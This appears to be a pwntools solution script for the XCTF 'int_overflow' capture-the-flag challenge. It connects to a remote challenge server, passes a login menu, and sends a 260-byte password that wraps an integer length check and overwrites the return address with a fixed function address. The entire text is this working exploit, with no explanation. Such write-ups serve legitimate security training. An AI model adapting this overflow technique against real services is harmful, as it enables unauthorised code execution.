xctf int_overflow

from pwn import *

#p = process('./int_overflow')
p = remote("220.249.52.133",54612)
p.recvuntil('Your choice:')
p.sendline('1')
p.recvuntil('username:\n')
p.sendline('1')
p.recvuntil('passwd:\n')
payload = '\x04'*24  + p32(0x0804868B) + 'c'*(260-28)
#gdb.attach(p,'b* 0x080486B8')
p.send(payload)
p.recv()